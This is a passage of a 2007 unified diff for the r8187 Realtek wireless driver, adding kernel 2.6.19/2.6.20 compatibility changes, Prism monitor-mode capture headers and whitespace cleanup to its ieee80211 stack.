r8187_orig/ieee80211/ieee80211_crypt_wep.c r8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- r8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,11 +17,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211.h r8187_rawtx/ieee80211/ieee80211.h --- r8187_orig/ieee80211/ieee80211.h 2007-12-05 09:27:45.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211.h 2007-05-16 22:00:11.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/ieee80211/ieee80211_module.c r8187_rawtx/ieee80211/ieee80211_module.c --- r8187_orig/ieee80211/ieee80211_module.c 2007-12-03 10:07:33.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_module.c 2007-05-16 22:00:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur r8187_orig/ieee80211/ieee80211_rx.c r8187_rawtx/ieee80211/ieee80211_rx.c --- r8187_orig/ieee80211/ieee80211_rx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-16 22:00:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); +//begin prism header code + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } +//end prism header code skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur r8187_orig/ieee80211/ieee80211_softmac.c r8187_rawtx/ieee80211/ieee80211_softmac.c --- r8187_orig/ieee80211/ieee80211_softmac.c 2007-12-05 09:26:56.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-16 22:00:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -37,25 +37,25 @@ unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ + */ void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,9 +85,9 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } @@ -96,11 +96,11 @@ { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; */ //david, 2007.1.23 @@ -110,22 +110,22 @@ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; } - + //return 0; } struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } @@ -143,19 +143,19 @@ short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - + if(single){ - + if(ieee->queue_stop){ - + enqueue_mgmt(ieee,skb); - + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -163,28 +163,28 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); //added by david, 2007.1.23 dev_kfree_skb_any(skb); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } @@ -192,36 +192,36 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } @@ -231,35 +231,35 @@ u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - + rate_len = ieee80211_MFIE_rate_len(ieee); - + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); - if (ieee->ps == IEEE80211_PS_DISABLED) + if (ieee->ps == IEEE80211_PS_DISABLED) req->header.frame_ctl = IEEE80211_STYPE_PROBE_REQ;//changed!! - else + else req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ|IEEE80211_FCTL_PM);//tony ,for ps ctl bit - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - + ieee80211_MFIE_Brate(ieee,&tag); ieee80211_MFIE_Grate(ieee,&tag); return skb; @@ -269,18 +269,18 @@ void ieee80211_send_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - + + unsigned long flags; + skb = ieee80211_get_beacon_(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -299,7 +299,7 @@ void ieee80211_send_probe(struct ieee80211_device *ieee) { struct sk_buff *skb; - + skb = ieee80211_probe_req(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); @@ -316,29 +316,29 @@ } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -351,24 +351,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); // printk(KERN_INFO "current probe channel is %d!\n",ch); ieee80211_send_probe_requests(ieee); - + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -379,43 +379,50 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ +{ +#endif short watchdog = 0; down(&ieee->scan_sem); - - + + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee80211_send_probe_requests(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -428,7 +435,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -438,13 +445,13 @@ void ieee80211_beacons_start(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; ieee80211_send_beacon(ieee); - + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } @@ -476,25 +483,25 @@ if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start(ieee); } void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } @@ -510,62 +517,66 @@ /* called with ieee->lock held */ void ieee80211_start_scan(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) queue_work(ieee->wq, &ieee->softmac_scan_wq); +#else + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); +#endif } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) ieee80211_softmac_scan_syncro(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; if (ieee->ps != IEEE80211_PS_DISABLED) auth->header.frame_ctl |= IEEE80211_FCTL_PM;//tony 060624 - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) @@ -577,23 +588,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -601,72 +612,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -679,52 +690,52 @@ { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + return skb; } @@ -732,59 +743,59 @@ { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) { struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -793,7 +804,7 @@ void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) { struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -801,10 +812,10 @@ void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) { - + struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) + + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -812,72 +823,72 @@ inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; unsigned int rsn_len = beacon->rsn_ie_len; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + rsn_len + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; if (ieee->ps != IEEE80211_PS_DISABLED) hdr->header.frame_ctl |= IEEE80211_FCTL_PM; //tony hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); //tony 20060606 - + if(ieee->short_slot) hdr->capability |= 